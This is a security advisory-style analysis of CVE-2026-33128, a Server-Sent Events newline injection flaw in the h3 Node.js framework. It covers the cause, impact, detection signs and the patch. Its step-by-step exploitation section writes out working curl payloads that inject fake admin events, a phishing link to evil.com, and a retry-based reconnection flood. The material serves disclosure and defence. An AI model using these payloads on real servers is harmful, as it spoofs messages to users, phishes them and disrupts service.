CVE-2026-33128: 
JavaScript vulnerability analysis and mitigation

CVE-2026-33128 is a Server-Sent Events (SSE) injection vulnerability in the h3 Node.js HTTP framework caused by missing newline sanitization in SSE event stream formatting functions. It affects h3 versions prior to 1.15.6 and versions 2.0.0 through 2.0.1-rc.14. An attacker who can influence any SSE message field (id, event, data, or comment) can inject arbitrary SSE events that all connected clients will process as legitimate. The vulnerability was published on March 17, 2026, and assigned CVE-2026-33128. The GitHub Advisory Database assigns a CVSS v3.1 score of 7.5 (High), while Feedly's estimate places it at 10.0 (Critical) (GitHub Advisory, Red Hat Bugzilla).

The root cause is CWE-93 (Improper Neutralization of CRLF Sequences) and CWE-791 (Incomplete Filtering of Special Elements) in src/utils/internal/event-stream.ts. The functions formatEventStreamMessage() and formatEventStreamComment() interpolate user-controlled strings directly into the SSE wire format without stripping newline characters (\n). Since the SSE protocol uses \n as a field delimiter and \n\n as an event separator, an attacker embedding these characters in any field can break out of the current field, inject new SSE directives (e.g., event:, data:, id:, retry:), or terminate the current event and start an entirely new one. The attack requires no authentication and no special privileges — only the ability to influence a value that gets broadcast via SSE, which is common in chat applications, notification systems, AI streaming responses, and collaborative tools (GitHub Advisory, Vulnerable Source).

Successful exploitation allows an unauthenticated network attacker to inject arbitrary SSE events that all connected clients receive and process as legitimate server messages. Concrete consequences include cross-user content injection (fake messages in chat apps), phishing via injected system notifications with malicious links, event spoofing to trigger privileged client-side handlers (e.g., admin or system event types), reconnection-based denial of service by injecting retry: 1 to force all clients to reconnect every 1ms, and Last-Event-ID manipulation to cause event replay or skipping. The scope change (S:C in CVSS) reflects that the impact extends beyond the vulnerable server to all connected browser clients (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub security advisory, including concrete curl commands with URL-encoded newline payloads (e.g., %0a, %0a%0a) targeting specific SSE fields (GitHub Advisory). Feedly classifies the PoC confidence as high and confirms it is a real exploit. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.038% (0.000380), indicating a low current probability of active exploitation. Qualys scanner (detection ID 5009340) has added detection for this CVE.

1. Identify a vulnerable target: Find an application using h3 versions < 1.15.6 or 2.0.0–2.0.1-rc.14 that exposes an SSE endpoint and broadcasts user-controlled input (e.g., a chat or notification server).
2. Connect a listener: Open an SSE connection to the target's event stream endpoint (e.g., GET /events) using a browser EventSource or curl --no-buffer to observe incoming events.
3. Craft an injection payload: Construct a request to the message-sending endpoint with a URL-encoded newline (%0a) embedded in a field value. For example, to inject a fake admin event via the type (event) field:

   curl -s "http://target/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"

4. Inject a phishing event via the data field: Use a double newline (%0a%0a) to terminate the current event and start a new one:

   curl -s "http://target/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"

5. Trigger reconnection DoS: Inject a retry: 1 directive to force all connected clients to reconnect every 1ms:

   curl -s "http://target/send?user=x&msg=test%0aretry:%201&type=message"

6. Observe impact: All connected EventSource clients receive and process the injected events as legitimate server messages, firing the corresponding JavaScript event handlers (e.g., addEventListener('admin', ...)) (GitHub Advisory).

• Network: Unusual HTTP requests to SSE message-sending endpoints containing URL-encoded newline sequences (%0a, %0d, %0a%0a) in query parameters; abnormally high reconnection rates from SSE clients (indicative of retry: 1 injection).
• Logs: Server access logs showing requests with encoded newlines in type, msg, event, or id query parameters; repeated client reconnections to the SSE endpoint in short intervals (< 100ms).
• Application Behavior: SSE clients firing unexpected event types (e.g., admin, system) that are not defined in the application's normal event schema; clients receiving events with data containing external URLs or unexpected content not originating from the server application logic (GitHub Advisory).

Upgrade h3 to version 1.15.6 (for the v1 branch) or 2.0.1-rc.15 (for the v2 release candidate branch), which sanitize newline characters in all SSE field values (GitHub Advisory, Red Hat Bugzilla). The fix in commit 7791538 strips \n and \r from single-line fields (id, event) using a _sanitizeSingleLine() helper, and splits multi-line data values into multiple data: lines rather than allowing raw newlines to break SSE framing (Patch Commit). As a temporary workaround if upgrading is not immediately possible, implement server-side input sanitization to strip or reject newline characters (\n, \r) from all values before passing them to createEventStream push calls.

The vulnerability was reported by security researcher 0xkakash1 and published by h3 maintainer pi0 on March 17, 2026 (GitHub Advisory). Red Hat opened a tracking bug (Bugzilla #2449587) and assigned it high severity, indicating relevance to Red Hat products that may depend on h3 (Red Hat Bugzilla). The advisory emphasizes that this is a framework-level design flaw rather than a developer misconfiguration, which has drawn attention to the broader issue of SSE protocol enforcement in HTTP frameworks.